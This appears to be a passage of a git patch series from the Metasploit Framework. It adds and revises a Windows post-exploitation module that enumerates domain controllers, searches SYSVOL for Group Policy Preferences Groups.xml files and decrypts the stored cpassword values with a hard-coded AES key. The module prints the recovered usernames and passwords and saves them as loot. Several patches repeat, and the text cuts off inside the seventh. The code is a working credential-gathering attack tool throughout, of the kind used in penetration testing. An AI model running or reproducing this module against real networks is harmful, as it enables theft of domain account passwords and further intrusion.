From 1b64fee5d2c81fb6bc88725f014234793216ab28 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 15 Jun 2012 17:50:36 +0100 Subject: [PATCH 01/44] Initial post/windows/gather/credentials Windows Group Policy Preferences Passwords --- .../gather/credentials/enum_gpp_passwords.rb | 178 ++++++++++++++++++ 1 file changed, 178 insertions(+) create mode 100755 modules/post/windows/gather/credentials/enum_gpp_passwords.rb diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb new file mode 100755 index 0000000000..38f8a64dac --- /dev/null +++ b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'rexml/document' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + + domain_not_found_error = + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", + 'Description' => %q{ + "This module enumerates users and passwords created on the local machine via group policy preferences. + Based upon work by: + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + Code heavily based on enum_domain.rb and smartftp.rb modules. + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 0.1 $', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Meatballs'] + )) + end + + def reg_getvaldata(key,valname) + value = nil + begin + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + rescue + end + return value + end + + def get_domain_controller() + domain = nil + begin + subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" + v_name = "DCName" + domain_controller = reg_getvaldata(subkey, v_name) + rescue + print_error("This host is not part of a domain.") + end + + return domain_controller + end + + # Modified from smartftp.rb + # Recursive function that enums specific subdirs through a list of regexs to a specific path. + def enum_subdirs(path, regex) +# The search function takes too long as not indexed. +# enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) + + enum_groups_xml = [] + current_regex = regex.pop + begin + session.fs.dir.foreach(path) do |sub| + next if sub =~ /^(\.|\.\.)$/ || !(sub =~ current_regex) + + xmlpath= "#{path}\\#{sub}" + + if regex.length == 0 + enum_groups_xml << xmlpath + else + enum_groups_xml += enum_subdirs(xmlpath, regex.clone) + end + end + rescue Rex::Post::Meterpreter::RequestError => e + #print_error "Received error code #{e.code} when enumerating #{path}" + end + + return enum_groups_xml + end + + # Taken from smartftp.rb + def get_xml(path) + begin + connections = client.fs.file.new(path, 'r') + + condata = '' + until connections.eof + condata << connections.read + end + return condata + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{path}" + return nil + end + end + + # Taken from smartftp.rb + def parse_xml(data) + mxml = REXML::Document.new(data) + mxml.elements.each("Groups/User/Properties") do |property| + + next if property.attributes["cpassword"].nil? + + username = property.attributes["userName"] + new_name = property.attributes["newName"] + action = property.attributes["action"] + disabled = property.attributes["acctDisabled"] + cpassword = property.attributes["cpassword"] + + password = decrypt(cpassword) + + if !new_name.to_s.empty? + username = new_name + end + + print_good("username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}") + +# if session.db_record +# source_id = session.db_record.id +# else +# source_id = nil +# end +# report_auth_info( +# :host => host, +# :port => port, +# :source_id => ssource_id, +# :source_type => "exploit", +# :user => user, +# :pass => pass +# ) + end + end + + def decrypt(password) + padding = "=" * (4 - (password.length % 4)) + password = Rex::Text.decode_base64(password + padding) + key = ["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*") + decrypt = OpenSSL::Cipher.new("aes-256-cbc") + decrypt.decrypt + decrypt.key = key + plaintext = decrypt.update(password) + plaintext << decrypt.final + + return plaintext + end + + def run + domain_controller = get_domain_controller() + if not domain_controller.nil? + print_good("FOUND Domain Controller: #{domain_controller}") + dom_info = domain_controller.split('.') + dom_info[0].sub!(/\\\\/,'') + + target_path = "#{domain_controller}\\SYSVOL\\#{dom_info[1]}.#{dom_info[2]}\\Policies" + + print_status("Searching #{target_path} for Groups.xml") + + regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] + + for result in enum_subdirs(target_path, regex) + xml = get_xml(result) + unless xml.nil? + parse_xml(xml) + end + end + else + print_error("This host is not part of a domain.") + end + end +end From 6f1d5b31937e9aaa78d7c9cd0e503c4ede415910 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 15 Jun 2012 18:27:59 +0100 Subject: [PATCH 02/44] Added store_loot --- .../gather/credentials/enum_gpp_passwords.rb | 49 ++++++++++--------- 1 file changed, 25 insertions(+), 24 deletions(-) mode change 100755 => 100644 modules/post/windows/gather/credentials/enum_gpp_passwords.rb diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb old mode 100755 new mode 100644 index 38f8a64dac..03b2d99151 --- a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb +++ b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", 'Description' => %q{ - "This module enumerates users and passwords created on the local machine via group policy preferences. + "This module enumerates users and passwords created on the local machine + via group policy preferences. Based upon work by: http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences Code heavily based on enum_domain.rb and smartftp.rb modules. @@ -59,11 +60,10 @@ class Metasploit3 < Msf::Post return domain_controller end - # Modified from smartftp.rb # Recursive function that enums specific subdirs through a list of regexs to a specific path. def enum_subdirs(path, regex) -# The search function takes too long as not indexed. -# enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) + # The search function takes too long as not indexed. + # enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) enum_groups_xml = [] current_regex = regex.pop @@ -80,13 +80,13 @@ class Metasploit3 < Msf::Post end end rescue Rex::Post::Meterpreter::RequestError => e - #print_error "Received error code #{e.code} when enumerating #{path}" + # Permission errors + # print_error "Received error code #{e.code} when enumerating #{path}" end return enum_groups_xml end - # Taken from smartftp.rb def get_xml(path) begin connections = client.fs.file.new(path, 'r') @@ -102,9 +102,9 @@ class Metasploit3 < Msf::Post end end - # Taken from smartftp.rb def parse_xml(data) mxml = REXML::Document.new(data) + return_value = "" mxml.elements.each("Groups/User/Properties") do |property| next if property.attributes["cpassword"].nil? @@ -121,22 +121,12 @@ class Metasploit3 < Msf::Post username = new_name end - print_good("username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}") - -# if session.db_record -# source_id = session.db_record.id -# else -# source_id = nil -# end -# report_auth_info( -# :host => host, -# :port => port, -# :source_id => ssource_id, -# :source_type => "exploit", -# :user => user, -# :pass => pass -# ) + output = "username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}" + return_value << "#{username},#{disabled},#{password},#{action},\n" + print_good(output) end + + return return_value end def decrypt(password) @@ -164,13 +154,24 @@ class Metasploit3 < Msf::Post print_status("Searching #{target_path} for Groups.xml") regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] - + csv = "username,disabled,password,action,\n" + for result in enum_subdirs(target_path, regex) xml = get_xml(result) unless xml.nil? - parse_xml(xml) + csv << parse_xml(xml) end end + + print_status("Writing to loot...") + path = store_loot( + 'gpp.passwords', + 'text/plain', + session, + csv, + ) + print_status("Data saved in: #{path}") + else print_error("This host is not part of a domain.") end From be255d53c0a201ac0ae284e0136ffff4da188a09 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 15 Jun 2012 17:50:36 +0100 Subject: [PATCH 03/44] Initial post/windows/gather/credentials Windows Group Policy Preferences Passwords --- .../gather/credentials/enum_gpp_passwords.rb | 178 ++++++++++++++++++ 1 file changed, 178 insertions(+) create mode 100755 modules/post/windows/gather/credentials/enum_gpp_passwords.rb diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb new file mode 100755 index 0000000000..38f8a64dac --- /dev/null +++ b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'rexml/document' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + + domain_not_found_error = + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", + 'Description' => %q{ + "This module enumerates users and passwords created on the local machine via group policy preferences. + Based upon work by: + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + Code heavily based on enum_domain.rb and smartftp.rb modules. + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 0.1 $', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Meatballs'] + )) + end + + def reg_getvaldata(key,valname) + value = nil + begin + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + rescue + end + return value + end + + def get_domain_controller() + domain = nil + begin + subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" + v_name = "DCName" + domain_controller = reg_getvaldata(subkey, v_name) + rescue + print_error("This host is not part of a domain.") + end + + return domain_controller + end + + # Modified from smartftp.rb + # Recursive function that enums specific subdirs through a list of regexs to a specific path. + def enum_subdirs(path, regex) +# The search function takes too long as not indexed. +# enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) + + enum_groups_xml = [] + current_regex = regex.pop + begin + session.fs.dir.foreach(path) do |sub| + next if sub =~ /^(\.|\.\.)$/ || !(sub =~ current_regex) + + xmlpath= "#{path}\\#{sub}" + + if regex.length == 0 + enum_groups_xml << xmlpath + else + enum_groups_xml += enum_subdirs(xmlpath, regex.clone) + end + end + rescue Rex::Post::Meterpreter::RequestError => e + #print_error "Received error code #{e.code} when enumerating #{path}" + end + + return enum_groups_xml + end + + # Taken from smartftp.rb + def get_xml(path) + begin + connections = client.fs.file.new(path, 'r') + + condata = '' + until connections.eof + condata << connections.read + end + return condata + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{path}" + return nil + end + end + + # Taken from smartftp.rb + def parse_xml(data) + mxml = REXML::Document.new(data) + mxml.elements.each("Groups/User/Properties") do |property| + + next if property.attributes["cpassword"].nil? + + username = property.attributes["userName"] + new_name = property.attributes["newName"] + action = property.attributes["action"] + disabled = property.attributes["acctDisabled"] + cpassword = property.attributes["cpassword"] + + password = decrypt(cpassword) + + if !new_name.to_s.empty? + username = new_name + end + + print_good("username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}") + +# if session.db_record +# source_id = session.db_record.id +# else +# source_id = nil +# end +# report_auth_info( +# :host => host, +# :port => port, +# :source_id => ssource_id, +# :source_type => "exploit", +# :user => user, +# :pass => pass +# ) + end + end + + def decrypt(password) + padding = "=" * (4 - (password.length % 4)) + password = Rex::Text.decode_base64(password + padding) + key = ["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*") + decrypt = OpenSSL::Cipher.new("aes-256-cbc") + decrypt.decrypt + decrypt.key = key + plaintext = decrypt.update(password) + plaintext << decrypt.final + + return plaintext + end + + def run + domain_controller = get_domain_controller() + if not domain_controller.nil? + print_good("FOUND Domain Controller: #{domain_controller}") + dom_info = domain_controller.split('.') + dom_info[0].sub!(/\\\\/,'') + + target_path = "#{domain_controller}\\SYSVOL\\#{dom_info[1]}.#{dom_info[2]}\\Policies" + + print_status("Searching #{target_path} for Groups.xml") + + regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] + + for result in enum_subdirs(target_path, regex) + xml = get_xml(result) + unless xml.nil? + parse_xml(xml) + end + end + else + print_error("This host is not part of a domain.") + end + end +end From bb60eacde7820101ca250f61d735c334328f6ee2 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Fri, 15 Jun 2012 18:27:59 +0100 Subject: [PATCH 04/44] Added store_loot --- .../gather/credentials/enum_gpp_passwords.rb | 49 ++++++++++--------- 1 file changed, 25 insertions(+), 24 deletions(-) mode change 100755 => 100644 modules/post/windows/gather/credentials/enum_gpp_passwords.rb diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb old mode 100755 new mode 100644 index 38f8a64dac..03b2d99151 --- a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb +++ b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Post super(update_info(info, 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", 'Description' => %q{ - "This module enumerates users and passwords created on the local machine via group policy preferences. + "This module enumerates users and passwords created on the local machine + via group policy preferences. Based upon work by: http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences Code heavily based on enum_domain.rb and smartftp.rb modules. @@ -59,11 +60,10 @@ class Metasploit3 < Msf::Post return domain_controller end - # Modified from smartftp.rb # Recursive function that enums specific subdirs through a list of regexs to a specific path. def enum_subdirs(path, regex) -# The search function takes too long as not indexed. -# enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) + # The search function takes too long as not indexed. + # enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) enum_groups_xml = [] current_regex = regex.pop @@ -80,13 +80,13 @@ class Metasploit3 < Msf::Post end end rescue Rex::Post::Meterpreter::RequestError => e - #print_error "Received error code #{e.code} when enumerating #{path}" + # Permission errors + # print_error "Received error code #{e.code} when enumerating #{path}" end return enum_groups_xml end - # Taken from smartftp.rb def get_xml(path) begin connections = client.fs.file.new(path, 'r') @@ -102,9 +102,9 @@ class Metasploit3 < Msf::Post end end - # Taken from smartftp.rb def parse_xml(data) mxml = REXML::Document.new(data) + return_value = "" mxml.elements.each("Groups/User/Properties") do |property| next if property.attributes["cpassword"].nil? @@ -121,22 +121,12 @@ class Metasploit3 < Msf::Post username = new_name end - print_good("username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}") - -# if session.db_record -# source_id = session.db_record.id -# else -# source_id = nil -# end -# report_auth_info( -# :host => host, -# :port => port, -# :source_id => ssource_id, -# :source_type => "exploit", -# :user => user, -# :pass => pass -# ) + output = "username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}" + return_value << "#{username},#{disabled},#{password},#{action},\n" + print_good(output) end + + return return_value end def decrypt(password) @@ -164,13 +154,24 @@ class Metasploit3 < Msf::Post print_status("Searching #{target_path} for Groups.xml") regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] - + csv = "username,disabled,password,action,\n" + for result in enum_subdirs(target_path, regex) xml = get_xml(result) unless xml.nil? - parse_xml(xml) + csv << parse_xml(xml) end end + + print_status("Writing to loot...") + path = store_loot( + 'gpp.passwords', + 'text/plain', + session, + csv, + ) + print_status("Data saved in: #{path}") + else print_error("This host is not part of a domain.") end From 56a8dda7392483666a3fab6e96bc1062384c793e Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 21 Jun 2012 17:14:57 +0100 Subject: [PATCH 05/44] Reworking of module to incorporate all contributions --- .../post/windows/gather/credentials/gpp.rb | 291 ++++++++++++++++++ 1 file changed, 291 insertions(+) create mode 100644 modules/post/windows/gather/credentials/gpp.rb diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb new file mode 100644 index 0000000000..cb74f30c19 --- /dev/null +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -0,0 +1,291 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'rex' +require 'rexml/document' + +class Metasploit3 < Msf::Post + include Msf::Auxiliary::Report + include Msf::Post::Windows::Priv + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Group Policy Preferences Saved Password Extraction', + 'Description' => %q{ + This module enumerates the victim machine's domain controller and + connects to it via SMB. It then looks for Group Policy Preference XML + files containing local user accounts and passwords. It then parses the + XML files and decrypts the passwords. + + Users can specify DOMAINS="domain1 domain2 domain3 etc" to target specific + domains on the network. This module will enumerate any domain controllers for + those domains. + + Users can specify ALL=True to target all domains and their domain controllers + on the network. + + This module must be run under a domain user or the user will not have appropriate + permissions to read files from the domain controller(s). + }, + 'License' => MSF_LICENSE, + 'Author' =>[ + 'TheLightCosine ', + 'Meatballs ', + 'Loic Jaquemet ', + 'Rob Fuller ', #domain/dc enumeration code + 'Joshua Abraham ' #enum_domain.rb code + ], + 'References' => + [ + ['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'] + ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptBool.new('CURRENT', [ false, 'Enumerate current machine domain.', true]), + OptBool.new('ALL', [ false, 'Enumerate all domains on network.', false]), + OptString.new('DOMAINS', [false, 'Enumerate list of space seperated domains - DOMAINS="domain1 domain2 etc".']), + ], self.class) + end + + def run + if is_system? + print_error "This needs to be run as a Domain User, not SYSTEM" + return nil + end + + dcs = [] + paths = [] + + if !datastore['DOMAINS'].to_s.empty? + user_domains = datastore['DOMAINS'].to_s.split(' ') + print_status "User supplied domains #{user_domains}" + + user_domains.each do |domain_name| + dcs << enum_dcs(domain_name) + end + elsif datastore['ALL'] + enum_domains.each do |domain| + domain_name = domain[:domain] + if domain_name == "WORKGROUP" || domain_name.empty? + print_status "Skipping '#{domain_name}'..." + next + end + + found_dcs = enum_dcs(domain_name) + # We only wish to enumerate one DC for each Domain. + dcs << found_dcs[0] unless found_dcs.to_a.empty? + end + elsif datastore['CURRENT'] + dcs << get_domain_controller() + else + print_error "Invalid Arguments, please supply one of CURRENT, ALL or DOMAINS arguments" + return nil + end + + dcs = dcs.flatten.compact + dcs.each do |dc| + print_status "Recursively searching for Groups.xml on #{dc}..." + tmpath = "\\\\#{dc}\\SYSVOL\\" + paths << find_paths(tmpath) + end + + paths = paths.flatten.compact + paths.each do |path| + data, dc = get_xml(path) + parse_xml(data, dc) + end + + end + + def find_paths(path) + paths=[] + begin + # Enumerate domain folders + session.fs.dir.foreach(path) do |sub| + next if sub =~ /^(\.|\.\.)$/ + tpath = "#{path}#{sub}\\Policies\\" + print_status "Looking in domain folder #{tpath}" + # Enumerate policy folders {...} + session.fs.dir.foreach(tpath) do |sub2| + next if sub2 =~ /^(\.|\.\.)$/ + tpath2 = "#{tpath}#{sub2}\\MACHINE\\Preferences\\Groups\\Groups.xml" + begin + paths << tpath2 if client.fs.file.stat(tpath2) + rescue + next + end + end + end + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{path}" + end + + return paths + end + + def get_xml(path) + begin + groups = client.fs.file.new(path,'r') + until groups.eof + data = groups.read + end + + domain = path.split('\\')[2] + return data, domain + rescue + print_status("The file #{path} either could not be read or does not exist") + end + end + + def parse_xml(data,domain_controller) + mxml = REXML::Document.new(data).root + mxml.elements.to_a("//Properties").each do |node| + epassword = node.attributes['cpassword'] + next if epassword.to_s.empty? + user = node.attributes['userName'] + newname = node.attributes['newName'] + disabled = node.attributes['acctDisabled'] + + # Check if policy also specifies the user is renamed. + if !newname.to_s.empty? + user = newname + end + + pass = decrypt(epassword) + + # UNICODE conversion + pass = pass.unpack('v*').pack('C*') + print_good("DOMAIN CONTROLLER: #{domain_controller} USER: #{user} PASS: #{pass} DISABLED: #{disabled}") + + if session.db_record + source_id = session.db_record.id + else + source_id = nil + end + report_auth_info( + :host => session.sock.peerhost, + :port => 445, + :sname => 'smb', + :proto => 'tcp', + :source_id => source_id, + :source_type => "exploit", + :user => user, + :pass => pass) + end + end + + def decrypt(encrypted_data) + padding = "=" * (4 - (encrypted_data.length % 4)) + epassword = "#{encrypted_data}#{padding}" + decoded = Rex::Text.decode_base64(epassword) + key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b" + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.decrypt + aes.key = key + plaintext = aes.update(decoded) + plaintext << aes.final + + return plaintext + end + + def enum_domains + print_status "Enumerating Domains on the Network..." + domain_enum = 2147483648 # SV_TYPE_DOMAIN_ENUM = hex 80000000 + buffersize = 500 + result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) + + # Estimate new buffer size on percentage recovered. + percent_found = (result['entriesread'].to_f/result['totalentries'].to_f) + buffersize = (buffersize/percent_found).to_i + + while result['return'] == 234 + buffersize = buffersize + 500 + result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil) + end + + count = result['totalentries'] + print_status("#{count} domain(s) found.") + startmem = result['bufptr'] + + base = 0 + domains = [] + mem = client.railgun.memread(startmem, 8*count) + count.times{|i| + x = {} + x[:platform] = mem[(base + 0),4].unpack("V*")[0] + nameptr = mem[(base + 4),4].unpack("V*")[0] + x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join + domains << x + base = base + 8 + } + return domains + end + + def enum_dcs(domain) + print_status("Enumerating DCs for #{domain}") + domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL) + buffersize = 500 + result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) + while result['return'] == 234 + buffersize = buffersize + 500 + result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil) + end + if result['totalentries'] == 0 + print_error "No Domain Controllers found for #{domain}" + return nil + end + + count = result['totalentries'] + startmem = result['bufptr'] + + base = 0 + mem = client.railgun.memread(startmem, 8*count) + hostnames = [] + count.times do |i| + t = {} + t[:platform] = mem[(base + 0),4].unpack("V*")[0] + nameptr = mem[(base + 4),4].unpack("V*")[0] + t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join + base = base + 8 + print_good "DC Found: #{t[:dc_hostname]}" + hostnames << t[:dc_hostname] + end + + return hostnames + end + + #enum_domain.rb + def reg_getvaldata(key,valname) + value = nil + begin + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + rescue + end + return value + end + + def get_domain_controller() + domain = nil + begin + subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" + v_name = "DCName" + domain = reg_getvaldata(subkey, v_name) + rescue + print_error "This host is not part of a domain." + end + return domain.sub!(/\\\\/,'') + end +end From 81411374bc5a89befea112a463f33341f9123a22 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 21 Jun 2012 17:16:26 +0100 Subject: [PATCH 06/44] Removed old file --- .../gather/credentials/enum_gpp_passwords.rb | 179 ------------------ 1 file changed, 179 deletions(-) delete mode 100644 modules/post/windows/gather/credentials/enum_gpp_passwords.rb diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb deleted file mode 100644 index 03b2d99151..0000000000 --- a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb +++ /dev/null @@ -1,179 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/post/windows/priv' -require 'rexml/document' -require 'msf/core/post/common' - -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common - - domain_not_found_error = - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", - 'Description' => %q{ - "This module enumerates users and passwords created on the local machine - via group policy preferences. - Based upon work by: - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - Code heavily based on enum_domain.rb and smartftp.rb modules. - }, - 'License' => MSF_LICENSE, - 'Version' => '$Revision: 0.1 $', - 'Platform' => ['windows'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Meatballs'] - )) - end - - def reg_getvaldata(key,valname) - value = nil - begin - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) - v = open_key.query_value(valname) - value = v.data - open_key.close - rescue - end - return value - end - - def get_domain_controller() - domain = nil - begin - subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" - v_name = "DCName" - domain_controller = reg_getvaldata(subkey, v_name) - rescue - print_error("This host is not part of a domain.") - end - - return domain_controller - end - - # Recursive function that enums specific subdirs through a list of regexs to a specific path. - def enum_subdirs(path, regex) - # The search function takes too long as not indexed. - # enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) - - enum_groups_xml = [] - current_regex = regex.pop - begin - session.fs.dir.foreach(path) do |sub| - next if sub =~ /^(\.|\.\.)$/ || !(sub =~ current_regex) - - xmlpath= "#{path}\\#{sub}" - - if regex.length == 0 - enum_groups_xml << xmlpath - else - enum_groups_xml += enum_subdirs(xmlpath, regex.clone) - end - end - rescue Rex::Post::Meterpreter::RequestError => e - # Permission errors - # print_error "Received error code #{e.code} when enumerating #{path}" - end - - return enum_groups_xml - end - - def get_xml(path) - begin - connections = client.fs.file.new(path, 'r') - - condata = '' - until connections.eof - condata << connections.read - end - return condata - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Received error code #{e.code} when reading #{path}" - return nil - end - end - - def parse_xml(data) - mxml = REXML::Document.new(data) - return_value = "" - mxml.elements.each("Groups/User/Properties") do |property| - - next if property.attributes["cpassword"].nil? - - username = property.attributes["userName"] - new_name = property.attributes["newName"] - action = property.attributes["action"] - disabled = property.attributes["acctDisabled"] - cpassword = property.attributes["cpassword"] - - password = decrypt(cpassword) - - if !new_name.to_s.empty? - username = new_name - end - - output = "username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}" - return_value << "#{username},#{disabled},#{password},#{action},\n" - print_good(output) - end - - return return_value - end - - def decrypt(password) - padding = "=" * (4 - (password.length % 4)) - password = Rex::Text.decode_base64(password + padding) - key = ["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*") - decrypt = OpenSSL::Cipher.new("aes-256-cbc") - decrypt.decrypt - decrypt.key = key - plaintext = decrypt.update(password) - plaintext << decrypt.final - - return plaintext - end - - def run - domain_controller = get_domain_controller() - if not domain_controller.nil? - print_good("FOUND Domain Controller: #{domain_controller}") - dom_info = domain_controller.split('.') - dom_info[0].sub!(/\\\\/,'') - - target_path = "#{domain_controller}\\SYSVOL\\#{dom_info[1]}.#{dom_info[2]}\\Policies" - - print_status("Searching #{target_path} for Groups.xml") - - regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] - csv = "username,disabled,password,action,\n" - - for result in enum_subdirs(target_path, regex) - xml = get_xml(result) - unless xml.nil? - csv << parse_xml(xml) - end - end - - print_status("Writing to loot...") - path = store_loot( - 'gpp.passwords', - 'text/plain', - session, - csv, - ) - print_status("Data saved in: #{path}") - - else - print_error("This host is not part of a domain.") - end - end -end From 9b943bc7632ba91949f5ca96d074ee2c95a4467f Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 21 Jun 2012 17:29:52 +0100 Subject: [PATCH 07/44] Removed redundant file --- .../gather/credentials/enum_gpp_passwords.rb | 179 ------------------ 1 file changed, 179 deletions(-) delete mode 100644 modules/post/windows/gather/credentials/enum_gpp_passwords.rb diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb deleted file mode 100644 index 03b2d99151..0000000000 --- a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb +++ /dev/null @@ -1,179 +0,0 @@ -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' -require 'msf/core/post/windows/priv' -require 'rexml/document' -require 'msf/core/post/common' - -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common - - domain_not_found_error = - - def initialize(info={}) - super(update_info(info, - 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", - 'Description' => %q{ - "This module enumerates users and passwords created on the local machine - via group policy preferences. - Based upon work by: - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - Code heavily based on enum_domain.rb and smartftp.rb modules. - }, - 